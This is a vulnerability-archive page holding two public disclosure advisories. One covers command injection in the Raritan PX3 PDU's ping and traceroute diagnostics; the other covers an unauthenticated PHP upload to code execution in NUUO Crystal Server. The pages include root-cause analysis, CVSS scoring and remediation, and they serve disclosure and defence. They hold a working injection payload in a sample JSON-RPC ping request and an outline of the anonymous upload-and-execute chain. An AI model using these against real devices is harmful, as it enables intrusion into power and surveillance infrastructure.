the chain of that adjacent weakness plus this injection, and a changed
credential removes it; the default pair is disclosed as a separate weakness
and is not folded into the published vector. The second applies only to
deployments in which no low-privilege account is provisioned and every caller
holds administrator privileges: the PR:H vector computes to 7.2 High
(exploitability 1.234708 plus 5.869119, total 7.103826), and it is not the
headline because the vendor's own shipped CLI artifact grants diagnostics to
all authenticated users.
Verification method, and its boundary. Every static claim is measured from the
firmware image at instruction level: the templates, the character loop, the
converging rejection blocks, the consumers' compare-and-branch sequences, the
shell open, and the two import facts. The dynamic layer is a command-level
replication of the recovered sink semantics on an isolated research host: the
exact reconstructed templates were executed through a shell under the
semicolon, subshell and traceroute injection shapes, and each produced the
marker command's output, while a metacharacter-free control produced nothing
and the marker path was confirmed absent afterwards. What was not done: no
end-to-end exploitation through the management interface of a physical unit.
No physical unit was available, and full-system emulation was blocked by the
management daemon's dependency on the configuration daemon and the flash
storage layer, which an image-only extraction does not provide. Appliance-side
execution identity was therefore not measured at runtime and is not claimed;
the replication's shell ran under the research host's privileged account,
which is a property of the research environment, and the published claims are
written against the web service's account, whichever that is.
Impact. One authenticated request converts into command execution in the
process context of the web management daemon, with command output returned
through the same response channel. The service's read reach includes the
product's configuration and state stores, so configuration data, recorded
credentials and network information can be exfiltrated in the same channel
that ping output arrives in. Both methods accept repeated calls with fresh
hostnames, so staging, reading results and cleanup are one request each, and
no persistence inside the product is needed. On a power distribution product,
availability is the physical machine state: the injected command executes in
the daemon that hosts the outlet control surface, so the ability to cycle
outlet power, and thereby hard-stop, every machine fed by the unit, follows
from the product's own function. That consequence is a labelled inference.
sink level was measured. Detection is poor by construction: the triggering
request is a legitimate diagnostics call that the product logs as the
assembled shell command, and the strongest available signal is shell-command
log review for the two templates.
Remediation, in the order that removes the class: perform ping and traceroute
without a shell, through their library or raw-socket interfaces or an
argv-array spawn, which removes the CWE-78 class from this handler entirely;
correct the verdict consumption - accept only the documented success returns
and reject everything else - as a one-line containment that can ship
immediately; centralize hostname admission for both entry channels on a
literal-or-strict-name allow-list that runs before any command text is
assembled, using the strict validator already present in the image; audit
every other consumer of the shared validation function for the same
strictly-greater consumption of the rejection constant; remove the factory
default credential and force a first-login change, which closes the
conditional unauthenticated chain; add injection regression suites for both
channels covering the full character-class table; and make the shell-template
log line an alertable event. Operator measures until firmware is fixed: change
the factory default immediately, restrict management access to the operations
network, prefer monitoring roles that need no diagnostics, and alert on
diagnostics shell lines whose host segment is not a literal address or strict
name.
Proof of concept. The published tool is a standard-library-only Python 3
client that drives the entry path against an explicit target with explicit
credentials or a pre-established session token, a configurable command and
explicit timeouts; it attempts the two candidate session-establishment routes
observed in this framework generation's front ends and degrades to a supplied
token, and it embeds no addresses, credentials or state of the verification
environment. Safety rails: loopback default, no persistence steps, one
non-destructive marker command by default, and no configuration change beyond
what the described request performs. Use it only against systems you own or
are authorised to test.
The vendor's parent company product security team, whose signed RFC 9116
contact file on the parent's primary web host names the intake mailbox used,
was notified through that documented security mailbox, which is the only
channel used; no security intake of the router brand itself exists, no
pre-publication intake form was submitted, and no individual was addressed by
name. This disclosure is unconditional: the research is published, no
permission was asked for, no embargo was requested, nothing is withheld
pending a reply, and remediation questions are answered at no cost. No
vulnerability identifier has been assigned to this finding.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/raritan-px3-pdu-g4-diag-ping-traceroute-command-injection
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "PX3 PDU",
"vendor": "Raritan",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nRaritan PX3 PDU G4, firmware version 4.3.14, the intelligent rack power\ndistribution unit from Raritan, a Legrand company (United States). A\nlow-privilege authenticated session converts one diagnostics request into\noperating-system command execution in the product\u0027s web-service context,\nbecause the hostname validation that is supposed to gate the ping and\ntraceroute commands produces the correct rejection verdict and the caller then\nexecutes on it anyway.\n\nType and root cause. CWE-78, OS command injection, with CWE-20 co-equal,\nin the diagnostics service of /lib/libisys.so.1.0. The firmware is an aarch64\nembedded Linux image whose web tier is a custom 1.8 MB C++ daemon, /bin/httpd,\nbuilt on an IDL-RPC framework: an authentication subsystem the binary refers\nto as pp::aaa, a JSON-RPC name service, and seventy-five service namespaces,\nall behind per-method authentication. The two diagnostics implementations,\nisys::net::diag::ping at 0x5a988 and isys::net::diag::traceRoute at 0x5ab64,\ndo not perform network operations themselves: they assemble shell command\nstrings from the operator-supplied hostname and execute them through /bin/sh,\nvia pp::BackgroundCommand::open(bgCmd, \"/bin/sh\", argv) at 0x36170, reached\nthrough runShellCommandAndGetResults() at 0x36094, which logs the command it\nis about to run. The templates are ping -c \u003ccount\u003e -W \u003ctimeout\u003e \u003cHOST\u003e 2\u003e\u00261\nand traceroute -w \u003ctimeout\u003e -m 30 \u003cHOST\u003e 2\u003e\u00261, with ping6 and traceroute6\nvariants; the neighbouring string table carries \"ping\", \"ping6\", \"traceroute\",\n\"traceroute6\", \"2\u003e\u00261\" and the source file name \"DiagnosticsImpl.cpp\".\n\nThe defect is a returned verdict consumed with the wrong comparison. The\nvalidation function, validateAndResolveHostName() at 0x5a3f4, is not a stub:\nit walks the hostname character by character, explicitly rejects the percent\nsign and every character above the ASCII colon, cross-checks that the host\nresolves through the resolver service, and returns one constant, three, on\nevery rejection path - the rejection block converges at the load of that\nconstant and returns at 0x5a54c. Both consumers evaluate the verdict with an\nunsigned strictly-greater branch: a return of three is not strictly greater\nthan three, so it falls through, and the rejected hostname is spliced into the\nshell template verbatim. The result is an injection whose success condition is\nthe validator working exactly as designed: a semicolon is caught by the\ncharacter loop, a dollar or parenthesis survives the loop but fails\nresolution, and all of them - caught or unresolved - flow into the command\ntemplate. A host value of 1.1.1.1;id\u003e/tmp/marker;# keeps the ping segment\nsyntactically complete, runs the injected statement as a second shell\nstatement, and the trailing hash comments out the template\u0027s 2\u003e\u00261 suffix; the\nsubshell form and a newline-separated form ride the same rejection path; the\ntraceroute template arms the second entry point identically. The image\ncontains a strict fully-qualified-hostname validator in libnetwork.so, but\nthe web daemon does not import it and the diagnostics library neither links\nnor loads it on this code path.\n\nThe request that reaches the sink looks like this, transmitted as one JSON\nbody over the authenticated RPC channel:\n\n```\n{\n \"jsonrpc\": \"2.0\",\n \"method\": \"net.Diagnostics.ping\",\n \"params\": {\n \"host\": \"1.1.1.1;id\u003e/tmp/marker;#\",\n \"count\": 1,\n \"timeout\": 1\n },\n \"id\": 2\n}\n```\n\nThe same attacker string rides the hostname argument of the corresponding CLI\ncommands. The 2\u003e\u00261 merge suffix is an amplifier the attacker inherits for\nfree: whatever the injected command prints on either stream is captured by the\nsame mechanism that returns ping output, so the response channel doubles as\nthe command-output channel and no out-of-band exfiltration is needed.\n\nReach and privileges. The web methods sit behind the framework\u0027s per-method\nauthentication and no bypass of that boundary was measured. The load-bearing\nprivilege artifact is the shipped CLI configuration, /etc/clish/netdiag.xml:\nping and traceroute are defined with no access attribute - available to every\nauthenticated CLI user in this framework\u0027s grammar - while the neighbouring\nnetstat command carries access=\"admin\". The vendor\u0027s own artifact therefore\ndocuments that these two functions were deliberately placed in the\nall-authenticated-users class, presumably on the theory that a ping is\nharmless. On a rack PDU, management is a network service at a datacenter\u0027s\nsoftest point, and the finding\u0027s effective audience is every monitoring\naccount, operations automation role and integration credential granted \"just\nto poll\".\n\nSeverity. The published score is 8.8 High,\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H: ISS = 1 - (1 - 0.56) x (1 -\n0.56) x (1 - 0.56) = 0.914816, impact = 6.42 x 0.914816 = 5.869119,\nexploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.835255, base =\n5.869119 + 2.835255 = 8.704374, rounded up to 8.8. A PR:N reading of 9.8\nCritical (impact 5.869119 plus exploitability 3.887043, total 9.756162) is\nrejected: no authentication bypass was measured. Two conditional readings are\npublished as explicitly labelled conditionals and never as the headline. The\nfirst applies where a deployment still carries the factory default\nadministrative credential pair recorded in the image\u0027s configuration default\narea for first-boot access: the same PR:N vector computes to 9.8 Critical for\nthe chain of that adjacent weakness plus this injection, and a changed\ncredential removes it; the default pair is disclosed as a separate weakness\nand is not folded into the published vector. The second applies only to\ndeployments in which no low-privilege account is provisioned and every caller\nholds administrator privileges: the PR:H vector computes to 7.2 High\n(exploitability 1.234708 plus 5.869119, total 7.103826), and it is not the\nheadline because the vendor\u0027s own shipped CLI artifact grants diagnostics to\nall authenticated users.\n\nVerification method, and its boundary. Every static claim is measured from the\nfirmware image at instruction level: the templates, the character loop, the\nconverging rejection blocks, the consumers\u0027 compare-and-branch sequences, the\nshell open, and the two import facts. The dynamic layer is a command-level\nreplication of the recovered sink semantics on an isolated research host: the\nexact reconstructed templates were executed through a shell under the\nsemicolon, subshell and traceroute injection shapes, and each produced the\nmarker command\u0027s output, while a metacharacter-free control produced nothing\nand the marker path was confirmed absent afterwards. What was not done: no\nend-to-end exploitation through the management interface of a physical unit.\nNo physical unit was available, and full-system emulation was blocked by the\nmanagement daemon\u0027s dependency on the configuration daemon and the flash\nstorage layer, which an image-only extraction does not provide. Appliance-side\nexecution identity was therefore not measured at runtime and is not claimed;\nthe replication\u0027s shell ran under the research host\u0027s privileged account,\nwhich is a property of the research environment, and the published claims are\nwritten against the web service\u0027s account, whichever that is.\n\nImpact. One authenticated request converts into command execution in the\nprocess context of the web management daemon, with command output returned\nthrough the same response channel. The service\u0027s read reach includes the\nproduct\u0027s configuration and state stores, so configuration data, recorded\ncredentials and network information can be exfiltrated in the same channel\nthat ping output arrives in. Both methods accept repeated calls with fresh\nhostnames, so staging, reading results and cleanup are one request each, and\nno persistence inside the product is needed. On a power distribution product,\navailability is the physical machine state: the injected command executes in\nthe daemon that hosts the outlet control surface, so the ability to cycle\noutlet power, and thereby hard-stop, every machine fed by the unit, follows\nfrom the product\u0027s own function. That consequence is a labelled inference.\nsink level was measured. Detection is poor by construction: the triggering\nrequest is a legitimate diagnostics call that the product logs as the\nassembled shell command, and the strongest available signal is shell-command\nlog review for the two templates.\n\nRemediation, in the order that removes the class: perform ping and traceroute\nwithout a shell, through their library or raw-socket interfaces or an\nargv-array spawn, which removes the CWE-78 class from this handler entirely;\ncorrect the verdict consumption - accept only the documented success returns\nand reject everything else - as a one-line containment that can ship\nimmediately; centralize hostname admission for both entry channels on a\nliteral-or-strict-name allow-list that runs before any command text is\nassembled, using the strict validator already present in the image; audit\nevery other consumer of the shared validation function for the same\nstrictly-greater consumption of the rejection constant; remove the factory\ndefault credential and force a first-login change, which closes the\nconditional unauthenticated chain; add injection regression suites for both\nchannels covering the full character-class table; and make the shell-template\nlog line an alertable event. Operator measures until firmware is fixed: change\nthe factory default immediately, restrict management access to the operations\nnetwork, prefer monitoring roles that need no diagnostics, and alert on\ndiagnostics shell lines whose host segment is not a literal address or strict\nname.\n\nProof of concept. The published tool is a standard-library-only Python 3\nclient that drives the entry path against an explicit target with explicit\ncredentials or a pre-established session token, a configurable command and\nexplicit timeouts; it attempts the two candidate session-establishment routes\nobserved in this framework generation\u0027s front ends and degrades to a supplied\ntoken, and it embeds no addresses, credentials or state of the verification\nenvironment. Safety rails: loopback default, no persistence steps, one\nnon-destructive marker command by default, and no configuration change beyond\nwhat the described request performs. Use it only against systems you own or\nare authorised to test.\n\nThe vendor\u0027s parent company product security team, whose signed RFC 9116\ncontact file on the parent\u0027s primary web host names the intake mailbox used,\nwas notified through that documented security mailbox, which is the only\nchannel used; no security intake of the router brand itself exists, no\npre-publication intake form was submitted, and no individual was addressed by\nname. This disclosure is unconditional: the research is published, no\npermission was asked for, no embargo was requested, nothing is withheld\npending a reply, and remediation questions are answered at no cost. No\nvulnerability identifier has been assigned to this finding.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/raritan-px3-pdu-g4-diag-ping-traceroute-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/54"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/54"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/raritan-px3-pdu-g4-diag-ping-traceroute-command-injection"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/54"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Raritan PX3 PDU G4 firmware 4.3.14 command injection in the ping and traceroute diagnostics through an inverted hostname-validation return check (8.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0506",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/54",
"automated": true,
"contentSha256": "8ab1603aae2c30145f46927eb66bc545f561770746543a7428d7f853ae26dd52",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/54",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:39:44Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0506"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0505
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] NUUO Crystal Server 3.19.0.85 unauthenticated upload.php PHP web-root write with fastcgi execution into server-side code execution as the web service account (9.8 Critical)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in NUUO
Crystal Server 3.19.0.85, the video management and NVR server software from
NUUO Inc. of Taipei (Taiwan), distributed as the Crystal virtual-machine
appliance: an Ubuntu-based OVA whose web tier is a lighttpd server fronting
a PHP application, with .php requests dispatched to /usr/bin/php-cgi through
lighttpd's fastcgi mapping. The product sits in the management plane of
physical-security and critical-infrastructure video deployments, brokering
camera registration, recorder channels and the stored management credentials
of the surveillance estate.
Type and root cause. Inside the web root recovered from the appliance disk
image, upload.php is three lines long, and the brevity is the finding: it
echoes the client-supplied filename and calls copy() with a destination
taken from that same client-supplied filename. There is no session include,
no login check, no extension filter, no MIME check, no path restriction and
no storage directory of the product's own choosing. The web server
configuration recovered from the same disk image loads no authentication
module at all, because this product's architecture delegates authentication
to each PHP file individually, and upload.php is one of the files that
never asks. Three omissions stack into one chain, each independently
sufficient to make the write dangerous: missing authentication for a
critical function (CWE-306 primary), an upload accepted without type
restriction into an executable mapping (CWE-434 co-equal), and external
control of the destination file name or path (CWE-73 contributing).
The chain. An anonymous client on any network that can reach the management
interface posts a multipart body carrying a PHP payload whose disposition
filename is the destination of the write. copy() writes the file under the
attacker-chosen name into the served document root /NU20/web/, the HTTPS
listener of the recovered configuration binding :443 across addresses with
no restriction. One fetch of the written path then hands the file to the
product's own fastcgi mapping, and the chosen PHP executes in the product's
web service context. Two requests, no credential at any point, no memory
corruption, no deserialisation gadget, no default credential and no action
by any user of the product. The write and the execution are decoupled in
time, which makes the write primitive independently useful: served pages
can be replaced, configuration and application files inside the web root
can be overwritten, and a persistent implant can be dropped into a location
the product itself serves, surviving a service restart as an ordinary file
in the served tree until an operator finds it.
Everything in the chain is a shipped default, established from artifacts
rather than from lab state: the endpoint exists in the shipped web root
(squashfs extraction, byte-exact), the endpoint requires no authentication
(absent include plus absent server-layer gate, both artifacts), the
destination is client-controlled (the copy() second argument is the
multipart filename, from the endpoint source), the destination directory
is served and executable (document root and fastcgi mapping, both from the
recovered configuration), and the listener accepts connections from any
address.
The authentication model, named for what it is. The recovered lighttpd
configuration declares its module list explicitly and loads no
authentication module; a content search of the recovered configuration for
an authentication backend, an authentication module, a valid-user
requirement and an access-denial rule returns zero hits for all four
patterns. The gate, where it exists at all, is one include statement inside
each PHP file, so the product's authentication boundary is exactly as
strong as its most forgettable file, and upload.php is that file. The
boundary claim is deliberately conservative: this handler is established
as unauthenticated by the byte-exact source plus the absent server-layer
gate, and no claim is made about other handlers in the web root, which are
named in the advisory as an audit recommendation, not as findings.
Verification boundary, stated in full, because it defines what is and is not
being claimed. No physical Crystal VM was reachable during this study, so
the verification could not be a live drive against the product's own
listener. The static half is anchored in the appliance disk image: the
OVA's VMDK was converted to a raw image, the PHP web root was carved out of
its squashfs region (653 inodes, 575 files, including the byte-exact three-
line upload.php), and the server configuration was recovered from the same
disk and read in full. The dynamic half ran on a faithful replica: the
appliance's own extracted web root, all recovered files including the real
upload.php, served with the document-root behaviour and the
unauthenticated-execution semantics of the appliance's own extracted
configuration, on the loopback interface of an isolated research host.
Three independent runs uploaded the probe file without any credential,
confirmed the landing in the document root, and returned an execution
marker together with command output on one fetch; a no-upload negative
control produced no marker (and a fetch of never-uploaded names returned
404 with nothing); and an absolute-destination variant, writing to an
absolute path inside the served root, landed and executed identically, so
the write does not depend on a working-directory coincidence. The exact
working-directory resolution of a relative destination on a shipped
appliance is the one piece this work could not observe on physical hardware,
which is why the absolute-destination result exists and why the chain does
not rest on it.
On the executing identity, because it matters for what downstream readers
should and should not claim. The command output in the replica runs
identified the invoking account of the replica's PHP server process. That
measurement is a property of the replica environment and is reported as
such: it demonstrates that executed code inherits the identity of the PHP
service. The corresponding identity on a shipped appliance, the lighttpd
/ php-cgi service account of the VM, was not observed at runtime in this
work, and no superuser claim appears anywhere in the advisory. The
execution primitive, the score and the impact statements are written to be
true whichever account that turns out to be; a reader who sees a 9.8 vector
and starts writing "root on the appliance" is jumping past the published
evidence, and this disclosure says so plainly rather than benefiting from
the inflation.
Scoring. One score is published: 9.8 Critical,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, re-derived rather than
inherited. The arithmetic is printed so any reader can reproduce it under
the CVSS 3.1 base algorithm and its round-up-to-the-tenth rule: ISS =
1 - (0.44 x 0.44 x 0.44) = 0.914816; Impact for Scope Unchanged = 6.42 x
0.914816 = 5.869119; Exploitability = 8.22 x 0.85 x 0.77 x 0.85 x 0.85 =
3.887043; the unrounded base is 9.756162 and Roundup gives 9.8. A
scope-changed reading that would compute to 10.0 is published as rejected:
no violation of an authority beyond the web service itself was
demonstrated, the uploaded file executing in the product's own PHP process
context, and whether that process's account additionally holds host
privileges is an unmeasured deployment property the advisory declines to
claim. A conditional reading at 8.8 High (from Exploitability 2.835255 and
sum 8.704374) applies to deployments that confine the appliance to a
segmented management network; the shipped recovered configuration
establishes no such confinement, so the published score uses the measured
network bind and the conditional is labelled, not measured.
Impact. Server-side code execution on the video management server through
the product's own fastcgi mapping, with no payload delivery beyond plain
HTTP or HTTPS and no credential at any point, plus an anonymous arbitrary
file write into the served tree that persists across service restarts.
What the web service account reaches is exposed to attacker-chosen code:
the application's own state, recorded media indices, camera trees, applied
configuration, and whatever the service account can read on the appliance
filesystem, with arbitrary modification of served content and complete
control of service availability. Detection is hard by construction: both the
write and the execution use the product's handled paths and ordinary
status codes, leaving file-integrity monitoring of the web root and
configuration-change review as the defenders' strongest signals. Two
consequence classes are plausible and explicitly not claimed, because they
were not measured: takeover of downstream cameras and recorders through
stored management credentials, and lateral movement through the camera
network. The amplifying architecture weakness is reported alongside the
finding and not folded into the score: authentication implemented
file-by-file means every PHP handler that forgets the session include is
unauthenticated by design, and upload.php is the one measured here.
Mitigation summary: remove upload.php or place its function behind the
product's authenticated session gate, which severs the chain at request
one; never build a storage destination from request data, generating the
stored name server-side from an allow-listed extension set and
canonicalising the resolved destination against an intended storage root;
store uploads outside the served tree in a non-executable quarantine
directory with randomized names; move authentication from the file level to
the server or framework level so one forgotten include cannot reopen an
anonymous handler, and while that migration is pending mechanically audit
every handler in the web root for the missing-include pattern, which in
this product is a grep-sized task; add a shipped-image manifest of the
document root reconciled at boot or on a schedule, a day-scale engineering
effort for an appliance that detects this class of implant; and add
regression tests expressing the three omissions as assertions: an
unauthenticated upload with a .php destination rejected, a session-less
write to any handler rejected, and the stored destination differing from
the client-supplied name. For operators until a patch ships: restrict
management reachability to a segmented network, run file-integrity
monitoring on the document root, and treat unexpected served-content
changes as a standing signal.
The published proof of concept is Python 3 using only the standard library.
It performs one credential-less multipart POST carrying the probe file with
a chosen destination name and one fetch of that name, printing the
response; the success criterion is an execution marker in the fetched body,
so a servable-but-not-executing write cannot false-positive. A control mode
performs no upload and asserts nothing executes, mirroring the negative
control used during verification. The command the probe runs is supplied by
the operator and the published default is a non-destructive identity query.
No reverse shell, no callback channel, no persistence installer and no
destructive command is provided or was run.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/nuuo-crystal-server-unauth-upload-php-webroot-write-rce
PoC location in the public repository:
product/nuuo/crystal-server-3.19.0.85/unauth-upload-php-webroot-write-rce/exploit/nuuo_crystal_server_unauth_upload_php_webroot_write_rce.py
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
The vendor publishes no RFC 9116 security.txt: the well-known path returns
the site's own 404 on the www host and on the apex, as does the
non-well-known fallback path, and the vendor's own page index contains no
security, vulnerability-reporting or responsible-discl
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nuuo | Crystal Server |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Crystal Server",
"vendor": "Nuuo",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in NUUO\nCrystal Server 3.19.0.85, the video management and NVR server software from\nNUUO Inc. of Taipei (Taiwan), distributed as the Crystal virtual-machine\nappliance: an Ubuntu-based OVA whose web tier is a lighttpd server fronting\na PHP application, with .php requests dispatched to /usr/bin/php-cgi through\nlighttpd\u0027s fastcgi mapping. The product sits in the management plane of\nphysical-security and critical-infrastructure video deployments, brokering\ncamera registration, recorder channels and the stored management credentials\nof the surveillance estate.\n\nType and root cause. Inside the web root recovered from the appliance disk\nimage, upload.php is three lines long, and the brevity is the finding: it\nechoes the client-supplied filename and calls copy() with a destination\ntaken from that same client-supplied filename. There is no session include,\nno login check, no extension filter, no MIME check, no path restriction and\nno storage directory of the product\u0027s own choosing. The web server\nconfiguration recovered from the same disk image loads no authentication\nmodule at all, because this product\u0027s architecture delegates authentication\nto each PHP file individually, and upload.php is one of the files that\nnever asks. Three omissions stack into one chain, each independently\nsufficient to make the write dangerous: missing authentication for a\ncritical function (CWE-306 primary), an upload accepted without type\nrestriction into an executable mapping (CWE-434 co-equal), and external\ncontrol of the destination file name or path (CWE-73 contributing).\n\nThe chain. An anonymous client on any network that can reach the management\ninterface posts a multipart body carrying a PHP payload whose disposition\nfilename is the destination of the write. copy() writes the file under the\nattacker-chosen name into the served document root /NU20/web/, the HTTPS\nlistener of the recovered configuration binding :443 across addresses with\nno restriction. One fetch of the written path then hands the file to the\nproduct\u0027s own fastcgi mapping, and the chosen PHP executes in the product\u0027s\nweb service context. Two requests, no credential at any point, no memory\ncorruption, no deserialisation gadget, no default credential and no action\nby any user of the product. The write and the execution are decoupled in\ntime, which makes the write primitive independently useful: served pages\ncan be replaced, configuration and application files inside the web root\ncan be overwritten, and a persistent implant can be dropped into a location\nthe product itself serves, surviving a service restart as an ordinary file\nin the served tree until an operator finds it.\n\nEverything in the chain is a shipped default, established from artifacts\nrather than from lab state: the endpoint exists in the shipped web root\n(squashfs extraction, byte-exact), the endpoint requires no authentication\n(absent include plus absent server-layer gate, both artifacts), the\ndestination is client-controlled (the copy() second argument is the\nmultipart filename, from the endpoint source), the destination directory\nis served and executable (document root and fastcgi mapping, both from the\nrecovered configuration), and the listener accepts connections from any\naddress.\n\nThe authentication model, named for what it is. The recovered lighttpd\nconfiguration declares its module list explicitly and loads no\nauthentication module; a content search of the recovered configuration for\nan authentication backend, an authentication module, a valid-user\nrequirement and an access-denial rule returns zero hits for all four\npatterns. The gate, where it exists at all, is one include statement inside\neach PHP file, so the product\u0027s authentication boundary is exactly as\nstrong as its most forgettable file, and upload.php is that file. The\nboundary claim is deliberately conservative: this handler is established\nas unauthenticated by the byte-exact source plus the absent server-layer\ngate, and no claim is made about other handlers in the web root, which are\nnamed in the advisory as an audit recommendation, not as findings.\n\nVerification boundary, stated in full, because it defines what is and is not\nbeing claimed. No physical Crystal VM was reachable during this study, so\nthe verification could not be a live drive against the product\u0027s own\nlistener. The static half is anchored in the appliance disk image: the\nOVA\u0027s VMDK was converted to a raw image, the PHP web root was carved out of\nits squashfs region (653 inodes, 575 files, including the byte-exact three-\nline upload.php), and the server configuration was recovered from the same\ndisk and read in full. The dynamic half ran on a faithful replica: the\nappliance\u0027s own extracted web root, all recovered files including the real\nupload.php, served with the document-root behaviour and the\nunauthenticated-execution semantics of the appliance\u0027s own extracted\nconfiguration, on the loopback interface of an isolated research host.\nThree independent runs uploaded the probe file without any credential,\nconfirmed the landing in the document root, and returned an execution\nmarker together with command output on one fetch; a no-upload negative\ncontrol produced no marker (and a fetch of never-uploaded names returned\n404 with nothing); and an absolute-destination variant, writing to an\nabsolute path inside the served root, landed and executed identically, so\nthe write does not depend on a working-directory coincidence. The exact\nworking-directory resolution of a relative destination on a shipped\nappliance is the one piece this work could not observe on physical hardware,\nwhich is why the absolute-destination result exists and why the chain does\nnot rest on it.\n\nOn the executing identity, because it matters for what downstream readers\nshould and should not claim. The command output in the replica runs\nidentified the invoking account of the replica\u0027s PHP server process. That\nmeasurement is a property of the replica environment and is reported as\nsuch: it demonstrates that executed code inherits the identity of the PHP\nservice. The corresponding identity on a shipped appliance, the lighttpd\n/ php-cgi service account of the VM, was not observed at runtime in this\nwork, and no superuser claim appears anywhere in the advisory. The\nexecution primitive, the score and the impact statements are written to be\ntrue whichever account that turns out to be; a reader who sees a 9.8 vector\nand starts writing \"root on the appliance\" is jumping past the published\nevidence, and this disclosure says so plainly rather than benefiting from\nthe inflation.\n\nScoring. One score is published: 9.8 Critical,\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, re-derived rather than\ninherited. The arithmetic is printed so any reader can reproduce it under\nthe CVSS 3.1 base algorithm and its round-up-to-the-tenth rule: ISS =\n1 - (0.44 x 0.44 x 0.44) = 0.914816; Impact for Scope Unchanged = 6.42 x\n0.914816 = 5.869119; Exploitability = 8.22 x 0.85 x 0.77 x 0.85 x 0.85 =\n3.887043; the unrounded base is 9.756162 and Roundup gives 9.8. A\nscope-changed reading that would compute to 10.0 is published as rejected:\nno violation of an authority beyond the web service itself was\ndemonstrated, the uploaded file executing in the product\u0027s own PHP process\ncontext, and whether that process\u0027s account additionally holds host\nprivileges is an unmeasured deployment property the advisory declines to\nclaim. A conditional reading at 8.8 High (from Exploitability 2.835255 and\nsum 8.704374) applies to deployments that confine the appliance to a\nsegmented management network; the shipped recovered configuration\nestablishes no such confinement, so the published score uses the measured\nnetwork bind and the conditional is labelled, not measured.\n\nImpact. Server-side code execution on the video management server through\nthe product\u0027s own fastcgi mapping, with no payload delivery beyond plain\nHTTP or HTTPS and no credential at any point, plus an anonymous arbitrary\nfile write into the served tree that persists across service restarts.\nWhat the web service account reaches is exposed to attacker-chosen code:\nthe application\u0027s own state, recorded media indices, camera trees, applied\nconfiguration, and whatever the service account can read on the appliance\nfilesystem, with arbitrary modification of served content and complete\ncontrol of service availability. Detection is hard by construction: both the\nwrite and the execution use the product\u0027s handled paths and ordinary\nstatus codes, leaving file-integrity monitoring of the web root and\nconfiguration-change review as the defenders\u0027 strongest signals. Two\nconsequence classes are plausible and explicitly not claimed, because they\nwere not measured: takeover of downstream cameras and recorders through\nstored management credentials, and lateral movement through the camera\nnetwork. The amplifying architecture weakness is reported alongside the\nfinding and not folded into the score: authentication implemented\nfile-by-file means every PHP handler that forgets the session include is\nunauthenticated by design, and upload.php is the one measured here.\n\nMitigation summary: remove upload.php or place its function behind the\nproduct\u0027s authenticated session gate, which severs the chain at request\none; never build a storage destination from request data, generating the\nstored 